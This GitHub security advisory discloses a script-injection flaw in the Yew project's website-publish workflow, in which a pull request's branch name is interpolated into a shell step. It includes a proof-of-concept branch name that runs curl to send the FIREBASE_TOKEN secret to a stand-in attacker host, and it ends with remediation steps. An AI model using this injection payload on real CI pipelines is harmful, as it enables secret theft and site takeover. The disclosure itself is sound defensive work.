Skip to content

Script Injection via Unsanitized Branch Name in Website Publish Workflow

Critical
siku2 published GHSA-2fmv-vw28-6rxj Mar 27, 2026

Package

No package listed

Affected versions

yew v0.23.0

Patched versions

None

Description

Summary

The workflow .github/workflows/publish-website.yml in yewstack/yew interpolates github.event.workflow_run.head_branch directly into a shell command without sanitization. An attacker can exploit this to execute arbitrary commands, exfiltrating the FIREBASE_TOKEN secret. A stolen Firebase token allows the attacker to deploy arbitrary content to the Yew project's production website, enabling phishing, malware distribution, or defacement targeting the Yew community (32K+ GitHub stars).

Affected Workflow

https://github.com/yewstack/yew/blob/master/.github/workflows/publish-website.yml

Vulnerability Details

The workflow triggers on workflow_run completion of "Build website" with no branches: filter. When the triggering event is a pull_request, the "Apply pull request environment" step interpolates head_branch directly into a run: block:

on:
  workflow_run:
    workflows: ["Build website"]
    types:
      - completed
    # No branches: filter

jobs:
  publish:
    if: github.event.workflow_run.conclusion == 'success'
    steps:
      # ...
      - if: github.event.workflow_run.event == 'pull_request'
        name: Apply pull request environment
        run: |
          pr_number=$(cat "artifacts/.PR_INFO")
          if ! [[ "$pr_number" =~ ^[0-9]+$ ]]; then
            echo "pr number invalid"
            exit 1
          fi
          echo "PR_NUMBER=$pr_number" >> $GITHUB_ENV
          echo "PR_BRANCH=${{ github.event.workflow_run.head_branch }}" >> $GITHUB_ENV
          echo "COMMIT_SHA=${{ github.event.workflow_run.head_sha }}" >> $GITHUB_ENV

GitHub Actions performs expression substitution before the shell runs. An attacker who controls the branch name can inject arbitrary shell commands.

A branch name like:

"; curl https://attacker.example/steal?t=$FIREBASE_TOKEN; echo "

After substitution, the shell sees:

echo "PR_BRANCH="; curl https://attacker.example/steal?t=$FIREBASE_TOKEN; echo "" >> $GITHUB_ENV

The curl command executes unconditionally, exfiltrating the FIREBASE_TOKEN.

Note on workflow_run Trigger and Attacker Initiation

The workflow_run trigger poses a risk because it can often be initiated by an attacker. Some maintainers may be surprised by this, believing that their triggering workflows - which may run on events such as release - are safe. This assumption is based on the idea that since an attacker can't trigger a new release, they shouldn't be able to initiate the triggering workflow or the subsequent workflow_run workflow.

The reality is that an attacker can submit a pull request that modifies the triggering workflow and even replace its triggering events. Since pull_request workflows run in the context of the pull request's HEAD branch, the modified workflow will run and, upon completion, will be able to trigger an existing workflow_run workflow.

In this case, the "Build website" workflow already triggers on pull_request, so the attack path is straightforward - no workflow modification needed.

Reference: GitHub Security Lab: New GitHub Actions patterns and mitigations

Note on Fork Approval Gates

GitHub's default workflow execution setting only requires approval to run workflows from fork pull requests if the user is a first-time contributor. This means anyone who has previously submitted a PR that was approved and merged to yewstack/yew can trigger the workflow without any approval gate.

Even for first-time contributors, this is not a sufficient security boundary against a motivated attacker. It is possible for anyone to become a contributor by submitting a legitimate, benign PR first (e.g., a typo fix or documentation improvement), getting it merged, and then exploiting this vulnerability in a subsequent PR. The contributor approval gate should therefore not be relied upon as a security control.

Proof of Concept

  1. Fork yewstack/yew.
  2. Create a branch with a shell injection payload as the name:
    "; curl https://attacker.example/steal?t=$FIREBASE_TOKEN; echo "
    
  3. Open a pull request against yewstack/yew from this branch.
  4. The "Build website" workflow triggers on pull_request and completes successfully.
  5. The publish-website.yml workflow triggers via workflow_run. The conclusion == 'success' check passes. The event == 'pull_request' condition is satisfied.
  6. The "Apply pull request environment" step substitutes the malicious branch name into the shell script. The injected curl command executes, exfiltrating the FIREBASE_TOKEN.

Impact

  • FIREBASE_TOKEN exfiltration: The attacker gains the Firebase deployment token, allowing them to deploy arbitrary content to the Yew project's Firebase Hosting site. With the token, the attacker can deploy to the production channel (live), not just previews. This enables:
    • Defacing the official Yew documentation/website
    • Serving malicious downloads disguised as official Yew releases
    • Phishing developers visiting the Yew docs with fake login pages or credential harvesting
    • Injecting malicious JavaScript to compromise visitors' browsers
  • GITHUB_TOKEN exfiltration: Also accessible in the runner environment, though lower impact than the Firebase token.

Severity

High - any GitHub user can exfiltrate the Firebase deployment token by opening a pull request, enabling full takeover of the Yew project's website (32K+ GitHub stars, 1.4K forks).

Recommended Fix

1. Pass head_branch through an environment variable:

- if: github.event.workflow_run.event == 'pull_request'
  name: Apply pull request environment
  env:
    HEAD_BRANCH: ${{ github.event.workflow_run.head_branch }}
    HEAD_SHA: ${{ github.event.workflow_run.head_sha }}
  run: |
    pr_number=$(cat "artifacts/.PR_INFO")
    if ! [[ "$pr_number" =~ ^[0-9]+$ ]]; then
      echo "pr number invalid"
      exit 1
    fi
    echo "PR_NUMBER=$pr_number" >> $GITHUB_ENV
    echo "PR_BRANCH=$HEAD_BRANCH" >> $GITHUB_ENV
    echo "COMMIT_SHA=$HEAD_SHA" >> $GITHUB_ENV

2. Add a branches: filter to the workflow_run trigger:

on:
  workflow_run:
    workflows: ["Build website"]
    types:
      - completed
    branches: [master]

3. Add environment: protection with required reviewers on the publish job.

References

Severity

Critical

CVE ID

No known CVE

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.